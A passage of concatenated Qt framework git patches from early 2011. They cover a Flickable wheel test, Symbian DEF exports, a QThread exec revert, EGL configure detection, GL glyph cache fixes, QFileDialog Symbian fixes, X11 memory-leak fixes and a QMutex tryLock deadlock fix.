b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp @@ -42,6 +42,7 @@ #include #include #include +#include #include #include #include @@ -74,6 +75,7 @@ private slots: void returnToBounds(); void testQtQuick11Attributes(); void testQtQuick11Attributes_data(); + void wheel(); private: QDeclarativeEngine engine; @@ -373,6 +375,43 @@ void tst_qdeclarativeflickable::testQtQuick11Attributes_data() } +void tst_qdeclarativeflickable::wheel() +{ + QDeclarativeView *canvas = new QDeclarativeView; + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/wheel.qml")); + canvas->show(); + canvas->setFocus(); + QVERIFY(canvas->rootObject() != 0); + + QDeclarativeFlickable *flick = canvas->rootObject()->findChild("flick"); + QVERIFY(flick != 0); + + QGraphicsScene *scene = canvas->scene(); + QGraphicsSceneWheelEvent event(QEvent::GraphicsSceneWheel); + event.setScenePos(QPointF(200, 200)); + event.setDelta(-120); + event.setOrientation(Qt::Vertical); + event.setAccepted(false); + QApplication::sendEvent(scene, &event); + + QTRY_VERIFY(flick->contentY() > 0); + QVERIFY(flick->contentX() == 0); + + flick->setContentY(0); + QVERIFY(flick->contentY() == 0); + + event.setScenePos(QPointF(200, 200)); + event.setDelta(-120); + event.setOrientation(Qt::Horizontal); + event.setAccepted(false); + QApplication::sendEvent(scene, &event); + + QTRY_VERIFY(flick->contentX() > 0); + QVERIFY(flick->contentY() == 0); + + delete canvas; +} + template T *tst_qdeclarativeflickable::findItem(QGraphicsObject *parent, const QString &objectName) -- cgit v0.12 From ebc0ad51ab319aefd88939963ecf172867b36f5a Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 2 Feb 2011 16:24:50 +1000 Subject: Export QDeclarativeRefCount so that symbian compiles. --- src/declarative/qml/qdeclarativerefcount_p.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/qml/qdeclarativerefcount_p.h b/src/declarative/qml/qdeclarativerefcount_p.h index 868cdc4..b896e5f 100644 --- a/src/declarative/qml/qdeclarativerefcount_p.h +++ b/src/declarative/qml/qdeclarativerefcount_p.h @@ -61,7 +61,7 @@ QT_BEGIN_NAMESPACE QT_MODULE(Declarative) -class Q_AUTOTEST_EXPORT QDeclarativeRefCount +class Q_DECLARATIVE_EXPORT QDeclarativeRefCount { public: QDeclarativeRefCount(); -- cgit v0.12 From e44f8f098c8213e7f2b50c6a9b8c222b3a23b6a9 Mon Sep 17 00:00:00 2001 From: Kalle Juhani Lehtonen Date: Wed, 2 Feb 2011 18:44:53 +1000 Subject: Update QDeclarative DEF files for Symbian Reviewed-by: Martin Jones --- src/s60installs/bwins/QtDeclarativeu.def | 7 ++++++- src/s60installs/eabi/QtDeclarativeu.def | 9 +++++++++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/src/s60installs/bwins/QtDeclarativeu.def b/src/s60installs/bwins/QtDeclarativeu.def index a287def..7d0a83e 100644 --- a/src/s60installs/bwins/QtDeclarativeu.def +++ b/src/s60installs/bwins/QtDeclarativeu.def @@ -704,7 +704,7 @@ EXPORTS ??4QDeclarativeDomDocument@@QAEAAV0@ABV0@@Z @ 703 NONAME ABSENT ; class QDeclarativeDomDocument & QDeclarativeDomDocument::operator=(class QDeclarativeDomDocument const &) ??0QDeclarativeOpenMetaObject@@QAE@PAVQObject@@PAVQDeclarativeOpenMetaObjectType@@_N@Z @ 704 NONAME ABSENT ; QDeclarativeOpenMetaObject::QDeclarativeOpenMetaObject(class QObject *, class QDeclarativeOpenMetaObjectType *, bool) ?trUtf8@QDeclarativeExpression@@SA?AVQString@@PBD0@Z @ 705 NONAME ; class QString QDeclarativeExpression::trUtf8(char const *, char const *) - ??0QPacketProtocol@@QAE@PAVQIODevice@@PAVQObject@@@Z @ 706 NONAME; QPacketProtocol::QPacketProtocol(class QIODevice *, class QObject *) + ??0QPacketProtocol@@QAE@PAVQIODevice@@PAVQObject@@@Z @ 706 NONAME ; QPacketProtocol::QPacketProtocol(class QIODevice *, class QObject *) ??1QDeclarativeListReference@@QAE@XZ @ 707 NONAME ; QDeclarativeListReference::~QDeclarativeListReference(void) ?clearError@QDeclarativeExpression@@QAEXXZ @ 708 NONAME ; void QDeclarativeExpression::clearError(void) ?setLineNumber@QDeclarativeDebugFileReference@@QAEXH@Z @ 709 NONAME ABSENT ; void QDeclarativeDebugFileReference::setLineNumber(int) @@ -1883,4 +1883,9 @@ EXPORTS ?d_func@QDeclarativeDebugServer@@AAEPAVQDeclarativeDebugServerPrivate@@XZ @ 1882 NONAME ; class QDeclarativeDebugServerPrivate * QDeclarativeDebugServer::d_func(void) ?tr@QDeclarativeDebugServer@@SA?AVQString@@PBD0H@Z @ 1883 NONAME ; class QString QDeclarativeDebugServer::tr(char const *, char const *, int) ?implicitWidth@QDeclarativeItemPrivate@@UBEMXZ @ 1884 NONAME ; float QDeclarativeItemPrivate::implicitWidth(void) const + ??_EQDeclarativeRefCount@@UAE@I@Z @ 1885 NONAME ; QDeclarativeRefCount::~QDeclarativeRefCount(unsigned int) + ??0QDeclarativeRefCount@@QAE@XZ @ 1886 NONAME ; QDeclarativeRefCount::QDeclarativeRefCount(void) + ??1QDeclarativeRefCount@@UAE@XZ @ 1887 NONAME ; QDeclarativeRefCount::~QDeclarativeRefCount(void) + ?addref@QDeclarativeRefCount@@QAEXXZ @ 1888 NONAME ; void QDeclarativeRefCount::addref(void) + ?release@QDeclarativeRefCount@@QAEXXZ @ 1889 NONAME ; void QDeclarativeRefCount::release(void) diff --git a/src/s60installs/eabi/QtDeclarativeu.def b/src/s60installs/eabi/QtDeclarativeu.def index fe2a7a1..95180d4 100644 --- a/src/s60installs/eabi/QtDeclarativeu.def +++ b/src/s60installs/eabi/QtDeclarativeu.def @@ -1921,4 +1921,13 @@ EXPORTS _ZNK7QPacket4dataEv @ 1920 NONAME _ZTI23QDeclarativeDebugServer @ 1921 NONAME _ZTV23QDeclarativeDebugServer @ 1922 NONAME + _ZN20QDeclarativeRefCount6addrefEv @ 1923 NONAME + _ZN20QDeclarativeRefCount7releaseEv @ 1924 NONAME + _ZN20QDeclarativeRefCountC1Ev @ 1925 NONAME + _ZN20QDeclarativeRefCountC2Ev @ 1926 NONAME + _ZN20QDeclarativeRefCountD0Ev @ 1927 NONAME + _ZN20QDeclarativeRefCountD1Ev @ 1928 NONAME + _ZN20QDeclarativeRefCountD2Ev @ 1929 NONAME + _ZTI20QDeclarativeRefCount @ 1930 NONAME + _ZTV20QDeclarativeRefCount @ 1931 NONAME -- cgit v0.12 From 9fa392cdb528db0bb5073892484c809e99ae27b3 Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Wed, 2 Feb 2011 09:27:53 +0100 Subject: Revert "Restore Qt 4.6 behaviour: exec() always enters the event loop." This reverts commit 2e72a8b19ea6c674fb4777860dac50faa5d387e6. The behavour in Qt 4.6 was wrong. And even if it was not documented, it is too late to change the behaviour back at this point. The tests for QEventLoop and QCoreApplication have not been reverted Reviewed-by: Brad --- src/corelib/thread/qthread.cpp | 5 +- tests/auto/qthread/tst_qthread.cpp | 191 +++++++++++-------------------------- 2 files changed, 58 insertions(+), 138 deletions(-) diff --git a/src/corelib/thread/qthread.cpp b/src/corelib/thread/qthread.cpp index f4bfa5d..f368192 100644 --- a/src/corelib/thread/qthread.cpp +++ b/src/corelib/thread/qthread.cpp @@ -482,7 +482,10 @@ int QThread::exec() Q_D(QThread); QMutexLocker locker(&d->mutex); d->data->quitNow = false; - d->exited = false; + if (d->exited) { + d->exited = false; + return d->returnCode; + } locker.unlock(); QEventLoop eventLoop; diff --git a/tests/auto/qthread/tst_qthread.cpp b/tests/auto/qthread/tst_qthread.cpp index c7036e4..e6bf9ce 100644 --- a/tests/auto/qthread/tst_qthread.cpp +++ b/tests/auto/qthread/tst_qthread.cpp @@ -86,7 +86,6 @@ private slots: void start(); void terminate(); void quit(); - void execAfterQuit(); void wait(); void started(); void finished(); @@ -266,34 +265,6 @@ public: } }; -class ExecAfterQuitThreadHelper: public QObject -{ - Q_OBJECT - QThread *thr; -public: - ExecAfterQuitThreadHelper(QThread *thr) : thr(thr) {} -public slots: - void doIt() { thr->exit(0); } -}; - -class ExecAfterQuitThread: public QThread -{ -public: - int returnValue; - void run() - { - ExecAfterQuitThreadHelper obj(this); - - QMetaObject::invokeMethod(&obj, "doIt", Qt::QueuedConnection); - exit(1); - - // returnValue will be either 0 or 1, depending on which of the two - // above take effect. The correct value is 0, since exit(1) before - // exec() should have no effect - returnValue = exec(); - } -}; - tst_QThread::tst_QThread() { @@ -453,52 +424,34 @@ void tst_QThread::stackSize() void tst_QThread::exit() { - { - Exit_Thread thread; - thread.object = new Exit_Object; - thread.object->moveToThread(&thread); - thread.code = 42; - thread.result = 0; - QVERIFY(!thread.isFinished()); - QVERIFY(!thread.isRunning()); - - QMutexLocker locker(&thread.mutex); - thread.start(); - QVERIFY(thread.isRunning()); - QVERIFY(!thread.isFinished()); - // but the thread is not running the event loop yet (the mutex is locked) - - // start the event loop - thread.cond.wait(locker.mutex()); - - // the Exit_Object above will cause the thread to exit - QVERIFY(thread.wait(five_minutes)); - QVERIFY(thread.isFinished()); - QVERIFY(!thread.isRunning()); - QCOMPARE(thread.result, thread.code); - delete thread.object; - } + Exit_Thread thread; + thread.object = new Exit_Object; + thread.object->moveToThread(&thread); + thread.code = 42; + thread.result = 0; + QVERIFY(!thread.isFinished()); + QVERIFY(!thread.isRunning()); + QMutexLocker locker(&thread.mutex); + thread.start(); + QVERIFY(thread.isRunning()); + QVERIFY(!thread.isFinished()); + thread.cond.wait(locker.mutex()); + QVERIFY(thread.wait(five_minutes)); + QVERIFY(thread.isFinished()); + QVERIFY(!thread.isRunning()); + QCOMPARE(thread.result, thread.code); + delete thread.object; - { - Exit_Thread thread2; - thread2.object = 0; - thread2.code = 53; - thread2.result = 0; - QMutexLocker locker2(&thread2.mutex); - thread2.start(); - - // the mutex is locked, so the thread has *not* started running the event loop yet - // this will do nothing: - thread2.exit(thread2.code); - - // the thread will now start running - thread2.cond.wait(locker2.mutex()); - - // this will cause it to exit now - thread2.exit(++thread2.code); - QVERIFY(thread2.wait(five_minutes)); - QCOMPARE(thread2.result, thread2.code); - } + Exit_Thread thread2; + thread2.object = 0; + thread2.code = 53; + thread2.result = 0; + QMutexLocker locker2(&thread2.mutex); + thread2.start(); + thread2.exit(thread2.code); + thread2.cond.wait(locker2.mutex()); + QVERIFY(thread2.wait(five_minutes)); + QCOMPARE(thread2.result, thread2.code); } void tst_QThread::start() @@ -545,59 +498,32 @@ void tst_QThread::terminate() void tst_QThread::quit() { - // very similar to exit() above - { - Quit_Thread thread; - thread.object = new Quit_Object; - thread.object->moveToThread(&thread); - thread.result = -1; - QVERIFY(!thread.isFinished()); - QVERIFY(!thread.isRunning()); - - // start the thread, but keep the event loop from starting - // (while the mutex is locked) - QMutexLocker locker(&thread.mutex); - thread.start(); - QVERIFY(thread.isRunning()); - QVERIFY(!thread.isFinished()); - - // unlock the mutex and let the event loop run - // the Quit_Object above will cause the thread to quit - thread.cond.wait(locker.mutex()); - QVERIFY(thread.wait(five_minutes)); - QVERIFY(thread.isFinished()); - QVERIFY(!thread.isRunning()); - QCOMPARE(thread.result, 0); - delete thread.object; - } - - { - Quit_Thread thread2; - thread2.object = 0; - thread2.result = -1; - - // start the thread, but keep the event loop from starting - // (while the mutex is locked) - QMutexLocker locker2(&thread2.mutex); - thread2.start(); - thread2.quit(); // does nothing, the event loop is not running! - - // unlock the mutex and let the event loop run - thread2.cond.wait(locker2.mutex()); - - // there's no Quit_Object so it won't quit on its own - thread2.quit(); - QVERIFY(thread2.wait(five_minutes)); - QCOMPARE(thread2.result, 0); - } -} - -void tst_QThread::execAfterQuit() -{ - ExecAfterQuitThread thread; + Quit_Thread thread; + thread.object = new Quit_Object; + thread.object->moveToThread(&thread); + thread.result = -1; + QVERIFY(!thread.isFinished()); + QVERIFY(!thread.isRunning()); + QMutexLocker locker(&thread.mutex); thread.start(); - QVERIFY(thread.wait()); - QCOMPARE(thread.returnValue, 0); + QVERIFY(thread.isRunning()); + QVERIFY(!thread.isFinished()); + thread.cond.wait(locker.mutex()); + QVERIFY(thread.wait(five_minutes)); + QVERIFY(thread.isFinished()); + QVERIFY(!thread.isRunning()); + QCOMPARE(thread.result, 0); + delete thread.object; + + Quit_Thread thread2; + thread2.object = 0; + thread2.result = -1; + QMutexLocker locker2(&thread2.mutex); + thread2.start(); + thread2.quit(); + thread2.cond.wait(locker2.mutex()); + QVERIFY(thread2.wait(five_minutes)); + QCOMPARE(thread2.result, 0); } void tst_QThread::wait() @@ -1068,17 +994,8 @@ void tst_QThread::QTBUG15378_exitAndExec() Thread thread; thread.value = 0; thread.start(); - thread.exit(42); // will do nothing, this value should not appear - thread.sem1.release(); //should enter the first loop - - Exit_Object *exit_object = new Exit_Object; - exit_object->code = 556; - exit_object->thread = &thread; - QMetaObject::invokeMethod(exit_object, "slot", Qt::QueuedConnection); - exit_object->deleteLater(); - exit_object->moveToThread(&thread); // should exit the first loop - exit_object = 0; - + thread.exit(556); + thread.sem1.release(); //should exit the first loop thread.sem2.acquire(); int v = thread.value; QCOMPARE(v, 556); -- cgit v0.12 From 216b29f0c976405c718c7bb8e24699d368baac7e Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Wed, 2 Feb 2011 10:03:51 +0100 Subject: document that QThread::exit will exit future event loops Reviewed-by: Brad --- src/corelib/thread/qthread.cpp | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/src/corelib/thread/qthread.cpp b/src/corelib/thread/qthread.cpp index f368192..8223cff 100644 --- a/src/corelib/thread/qthread.cpp +++ b/src/corelib/thread/qthread.cpp @@ -509,10 +509,12 @@ int QThread::exec() Note that unlike the C library function of the same name, this function \e does return to the caller -- it is event processing - that stops. - - This function does nothing if the thread does not have an event - loop. + that stops. + + No QEventLoops will be started anymore in this thread until + QThread::exec() has been called again. If the eventloop in QThread::exec() + is not running then the next call to QThread::exec() will also return + immediately. \sa quit() QEventLoop */ -- cgit v0.12 From 186a9f967394d554ce99b8a3313cbc679b54c7c7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Samuel=20R=C3=B8dal?= Date: Tue, 1 Feb 2011 17:12:11 +0100 Subject: Fixed es2 configure when both EGL/egl.h and GLES/egl.h are present. Change e0c2861976e06658a1d651941310407c15b0bcde fixed es1 configure by only picking EGL/egl.h if GLES/egl.h is not found. This broke es2 configure on platforms where both EGL/egl.h and GLES/egl.h are present, by picking GLES/egl.h instead of EGL/egl.h, which implicitly pulled in the GLES/gl.h header as well, causing inconsistent declarations due to both GLES2/gl2.h and GLES/gl.h getting included. Instead, we need to prioritize depending on whether we're using es1 or es2. For es1, we prefer GLES/egl.h, and for es2, we prefer EGL/egl.h. If only one of the headers is found we still use it unconditionally, to preserve the existing behaviour and minimize the risk of breaking other platforms. Reviewed-by: Ritt Konstantin Reviewed-by: Marius Storm-Olsen --- configure | 23 ++++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/configure b/configure index dfbf9bd..5e8ef17 100755 --- a/configure +++ b/configure @@ -6056,19 +6056,28 @@ if [ "$PLATFORM_QWS" = "yes" ]; then fi # QWS +EGL_VARIANT=none # EGL Support if [ "$PLATFORM_X11" = "yes" -o "$PLATFORM_QWS" = "yes" ]; then if [ "$CFG_EGL" != "no" ]; then # detect EGL support - if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then - # EGL specified by QMAKE_*_EGL, included with - CFG_EGL=yes - CFG_EGL_GLES_INCLUDES=yes - elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl" "EGL (EGL/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then + if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl" "EGL (EGL/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then # EGL specified by QMAKE_*_EGL, included with + EGL_VARIANT=regular CFG_EGL=yes - CFG_EGL_GLES_INCLUDES=no - else + fi + + # Prefer this variant for ES1 + if [ "$CFG_OPENGL" = "es1" -o "$EGL_VARIANT" = "none" ]; then + if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then + # EGL specified by QMAKE_*_EGL, included with + EGL_VARIANT=gles + CFG_EGL=yes + CFG_EGL_GLES_INCLUDES=yes + fi + fi + + if [ "$EGL_VARIANT" = "none" ]; then if [ "$CFG_EGL" = "yes" ]; then echo "The EGL functionality test failed!" echo " EGL is required for OpenGL ES to manage contexts & surfaces." -- cgit v0.12 From 5ad8cd48a1ed3be183c0af8698491b039f0054e4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Samuel=20R=C3=B8dal?= Date: Tue, 1 Feb 2011 17:59:54 +0100 Subject: Prevent recursion when creating window surface. If we can't access the qt_gl_share_widget() we should just create a raster window surface. This might happen when creating the share widget itself leads to creation of a window surface (which isn't really going to be used anyways). Reviewed-by: Michael Dominic K --- src/plugins/graphicssystems/meego/qmeegographicssystem.cpp | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp b/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp index 20b092e..a70d232 100644 --- a/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp +++ b/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp @@ -42,6 +42,7 @@ #include #include #include +#include #include #include #include @@ -75,7 +76,12 @@ QMeeGoGraphicsSystem::~QMeeGoGraphicsSystem() QWindowSurface* QMeeGoGraphicsSystem::createWindowSurface(QWidget *widget) const { - QGLShareContextScope ctx(qt_gl_share_widget()->context()); + QGLWidget *shareWidget = qt_gl_share_widget(); + + if (!shareWidget) + return new QRasterWindowSurface(widget); + + QGLShareContextScope ctx(shareWidget->context()); QMeeGoGraphicsSystem::surfaceWasCreated = true; QWindowSurface *surface = new QGLWindowSurface(widget); -- cgit v0.12 From 4d38013cfc3058e36de1b6a6c20653ef2688a92b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Samuel=20R=C3=B8dal?= Date: Tue, 1 Feb 2011 17:57:10 +0100 Subject: Fixed missing text when using static text items in GL 2 engine. When the context is destroyed and recreated, we end up with a new glyph cache, but we only recreate the vertex arrays for the very first static text item. We need to keep track of the glyph cache in each text item, so that we can recreate the vertex arrays and re-populate the cache accordingly. As the pointer might be the same after the glyph cache is recreated, we need to use serial numbers instead. We also need to re-create the cache when the context pointer has been invalidated, so that the static text items also get invalidated, and the texture glyph cache gets repopulated. Reviewed-by: Eskil Abrahamsen Blomfeldt --- src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp | 13 ++++++++----- src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp | 3 +++ src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h | 3 +++ 3 files changed, 14 insertions(+), 5 deletions(-) diff --git a/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp b/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp index ad2852e..cda31e5 100644 --- a/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp +++ b/src/opengl/gl2paintengineex/qpaintengineex_opengl2.cpp @@ -1489,7 +1489,7 @@ namespace { { public: QOpenGLStaticTextUserData() - : QStaticTextUserData(OpenGLUserData), cacheSize(0, 0) + : QStaticTextUserData(OpenGLUserData), cacheSize(0, 0), cacheSerialNumber(0) { } @@ -1501,6 +1501,7 @@ namespace { QGL2PEXVertexArray vertexCoordinateArray; QGL2PEXVertexArray textureCoordinateArray; QFontEngineGlyphCache::Type glyphType; + int cacheSerialNumber; }; } @@ -1518,12 +1519,10 @@ void QGL2PaintEngineExPrivate::drawCachedGlyphs(QFontEngineGlyphCache::Type glyp QGLTextureGlyphCache *cache = (QGLTextureGlyphCache *) staticTextItem->fontEngine()->glyphCache(ctx, glyphType, QTransform()); - if (!cache || cache->cacheType() != glyphType) { + if (!cache || cache->cacheType() != glyphType || cache->context() == 0) { cache = new QGLTextureGlyphCache(ctx, glyphType, QTransform()); staticTextItem->fontEngine()->setGlyphCache(ctx, cache); recreateVertexArrays = true; - } else if (cache->context() == 0) { // Old context has been destroyed, new context has same ptr value - cache->setContext(ctx); } if (staticTextItem->userDataNeedsUpdate) { @@ -1534,8 +1533,11 @@ void QGL2PaintEngineExPrivate::drawCachedGlyphs(QFontEngineGlyphCache::Type glyp recreateVertexArrays = true; } else { QOpenGLStaticTextUserData *userData = static_cast(staticTextItem->userData()); - if (userData->glyphType != glyphType) + if (userData->glyphType != glyphType) { recreateVertexArrays = true; + } else if (userData->cacheSerialNumber != cache->serialNumber()) { + recreateVertexArrays = true; + } } // We only need to update the cache with new glyphs if we are actually going to recreate the vertex arrays. @@ -1580,6 +1582,7 @@ void QGL2PaintEngineExPrivate::drawCachedGlyphs(QFontEngineGlyphCache::Type glyp } userData->glyphType = glyphType; + userData->cacheSerialNumber = cache->serialNumber(); // Use cache if backend optimizations is turned on vertexCoordinates = &userData->vertexCoordinateArray; diff --git a/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp b/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp index 58c78ec..312d66f 100644 --- a/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp +++ b/src/opengl/gl2paintengineex/qtextureglyphcache_gl.cpp @@ -52,12 +52,15 @@ QT_BEGIN_NAMESPACE extern Q_GUI_EXPORT bool qt_cleartype_enabled; #endif +QBasicAtomicInt qgltextureglyphcache_serial_number = Q_BASIC_ATOMIC_INITIALIZER(1); + QGLTextureGlyphCache::QGLTextureGlyphCache(QGLContext *context, QFontEngineGlyphCache::Type type, const QTransform &matrix) : QImageTextureGlyphCache(type, matrix) , ctx(0) , m_width(0) , m_height(0) , m_filterMode(Nearest) + , m_serialNumber(qgltextureglyphcache_serial_number.fetchAndAddRelaxed(1)) { setContext(context); } diff --git a/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h b/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h index 1c1b7c4..2eb4e65 100644 --- a/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h +++ b/src/opengl/gl2paintengineex/qtextureglyphcache_gl_p.h @@ -83,6 +83,8 @@ public: inline void setPaintEnginePrivate(QGL2PaintEngineExPrivate *p) { pex = p; } + inline int serialNumber() const { return m_serialNumber; } + enum FilterMode { Nearest, Linear @@ -140,6 +142,7 @@ private: QGLShaderProgram *m_program; FilterMode m_filterMode; + int m_serialNumber; }; QT_END_NAMESPACE -- cgit v0.12 From 5b89e67619d15e817a81c8f39072a210c7cd5f4c Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Wed, 2 Feb 2011 13:40:59 +0200 Subject: Fix few QFileDialog static method issues in Symbian^3 - The selected file path now uses slashes instead of Symbian native backslashes as directory separator. - If default file is specified in dir parameter of getSaveFileName in addition to directory, that will be used as default suggested filename. - Clarified documentation a bit. Task-number: QTBUG-17135 Reviewed-by: Janne Koskinen --- src/gui/dialogs/qfiledialog.cpp | 2 +- src/gui/dialogs/qfiledialog_symbian.cpp | 12 ++++++++---- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/src/gui/dialogs/qfiledialog.cpp b/src/gui/dialogs/qfiledialog.cpp index 5ff8d1e..27c58a5 100644 --- a/src/gui/dialogs/qfiledialog.cpp +++ b/src/gui/dialogs/qfiledialog.cpp @@ -1770,7 +1770,7 @@ QString QFileDialog::getOpenFileName(QWidget *parent, On Symbian^3 the parameter \a selectedFilter has no meaning and the \a options parameter is only used to define if the native file dialog is - used. + used. On Symbian^3, this function can only return a single filename. \warning Do not delete \a parent during the execution of the dialog. If you want to do this, you should create the dialog yourself using one of the diff --git a/src/gui/dialogs/qfiledialog_symbian.cpp b/src/gui/dialogs/qfiledialog_symbian.cpp index e7197bd..b8ea5e5 100644 --- a/src/gui/dialogs/qfiledialog_symbian.cpp +++ b/src/gui/dialogs/qfiledialog_symbian.cpp @@ -140,11 +140,13 @@ static QString launchSymbianDialog(const QString dialogCaption, const QString st CleanupStack::PushL(extensionFilter); extensionFilter->setFilter(filter); select = AknCommonDialogsDynMem::RunSelectDlgLD(types, target, - startFolder, NULL, NULL, titlePtr, extensionFilter); + startFolder, 0, 0, titlePtr, extensionFilter); CleanupStack::Pop(extensionFilter); } else if (dialogMode == DialogSave) { + QString defaultFileName = QFileDialogPrivate::initialSelection(startDirectory); + target = qt_QString2TPtrC(defaultFileName); select = AknCommonDialogsDynMem::RunSaveDlgLD(types, target, - startFolder, NULL, NULL, titlePtr); + startFolder, 0, 0, titlePtr); } else if (dialogMode == DialogFolder) { select = AknCommonDialogsDynMem::RunFolderSelectDlgLD(types, target, startFolder, 0, 0, titlePtr, NULL, NULL); @@ -160,8 +162,10 @@ static QString launchSymbianDialog(const QString dialogCaption, const QString st startFolder = qt_QString2TPtrC(dir); } } - if (select) - selection.append(qt_TDesC2QString(target)); + if (select) { + QFileInfo fi(qt_TDesC2QString(target)); + selection = fi.absoluteFilePath(); + } #endif return selection; } -- cgit v0.12 From 31492cc049a8dfe7f52748922a88f117499d62a3 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Wed, 26 Jan 2011 08:43:34 +0100 Subject: Fixes memory leaks in QX11Embed We should XFree the values returned from XGetWindowProperty. Task-number: QTBUG-16597 Reviewed-by: Ritt Konstantin --- src/gui/kernel/qx11embed_x11.cpp | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/gui/kernel/qx11embed_x11.cpp b/src/gui/kernel/qx11embed_x11.cpp index aba42f2..710f607 100644 --- a/src/gui/kernel/qx11embed_x11.cpp +++ b/src/gui/kernel/qx11embed_x11.cpp @@ -415,8 +415,9 @@ static Bool functor(Display *display, XEvent *event, XPointer arg) status = XGetWindowProperty(display, data->id, ATOM(WM_STATE), 0, 2, False, ATOM(WM_STATE), &ret, &format, &nitems, &after, &retval ); if (status == Success && ret == ATOM(WM_STATE) && format == 32 && nitems > 0) { - long *state = (long *)retval; - if (state[0] == WithdrawnState) { + long state = *(long *)retval; + XFree(retval); + if (state == WithdrawnState) { data->clearedWmState = true; return true; } @@ -833,6 +834,8 @@ bool QX11EmbedWidget::x11Event(XEvent *event) XUnmapWindow(x11Info().display(), internalWinId()); } } + if (prop_return) + XFree(prop_return); } } -- cgit v0.12 From 17ee918b2cd2bb012a538b721bbd888677072614 Mon Sep 17 00:00:00 2001 From: Denis Dzyubenko Date: Wed, 2 Feb 2011 12:54:20 +0100 Subject: Carefull free the data from XGetWindowProperty on X11. Make sure we free the data correctly in case of error. Task-number: QTBUG-16616 Patch-by: Juuso Pakarinen Reviewed-by: Ritt Konstantin --- src/gui/kernel/qwidget_x11.cpp | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp index 9893478..28eb3f0 100644 --- a/src/gui/kernel/qwidget_x11.cpp +++ b/src/gui/kernel/qwidget_x11.cpp @@ -444,6 +444,7 @@ static QVector getNetWmState(QWidget *w) && actualType == XA_ATOM && actualFormat == 32) { returnValue.resize(bytesLeft / 4); XFree((char*) propertyData); + propertyData = 0; // fetch all data if (XGetWindowProperty(X11->display, w->internalWinId(), ATOM(_NET_WM_STATE), 0, @@ -458,7 +459,8 @@ static QVector getNetWmState(QWidget *w) if (!returnValue.isEmpty()) { memcpy(returnValue.data(), propertyData, returnValue.size() * sizeof(Atom)); } - XFree((char*) propertyData); + if (propertyData) + XFree((char*) propertyData); } return returnValue; -- cgit v0.12 From 7987d4cfd3ce86c20a55b5661a5221f12246b27e Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Wed, 2 Feb 2011 11:31:20 +0100 Subject: Fix QMutex can deadlock when calling tryLock in the unix code, if the QMutexPrivate::wait() with a timeout expires in the same moment that the mutex is released, wakeup would be set, but would be then ignored. (reset to false quickly after) If we waken up between the timeout and the re-aquisition of the internal mutex, we consider that the mutex has been locked. Reviewed-by: brad Task-number: QTBUG-16115 --- src/corelib/thread/qmutex_unix.cpp | 5 ++++- tests/auto/qmutex/tst_qmutex.cpp | 38 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 42 insertions(+), 1 deletion(-) diff --git a/src/corelib/thread/qmutex_unix.cpp b/src/corelib/thread/qmutex_unix.cpp index 41d87a7..dd7e5d1 100644 --- a/src/corelib/thread/qmutex_unix.cpp +++ b/src/corelib/thread/qmutex_unix.cpp @@ -94,8 +94,11 @@ bool QMutexPrivate::wait(int timeout) errorCode = pthread_cond_timedwait(&cond, &mutex, &ti); } if (errorCode) { - if (errorCode == ETIMEDOUT) + if (errorCode == ETIMEDOUT) { + if (wakeup) + errorCode = 0; break; + } report_error(errorCode, "QMutex::lock()", "cv wait"); } } diff --git a/tests/auto/qmutex/tst_qmutex.cpp b/tests/auto/qmutex/tst_qmutex.cpp index 3c4c767..ea983cb 100644 --- a/tests/auto/qmutex/tst_qmutex.cpp +++ b/tests/auto/qmutex/tst_qmutex.cpp @@ -67,6 +67,7 @@ private slots: void lock_unlock_locked_tryLock(); void stressTest(); void tryLockRace(); + void qtbug16115_trylock(); }; static const int iterations = 100; 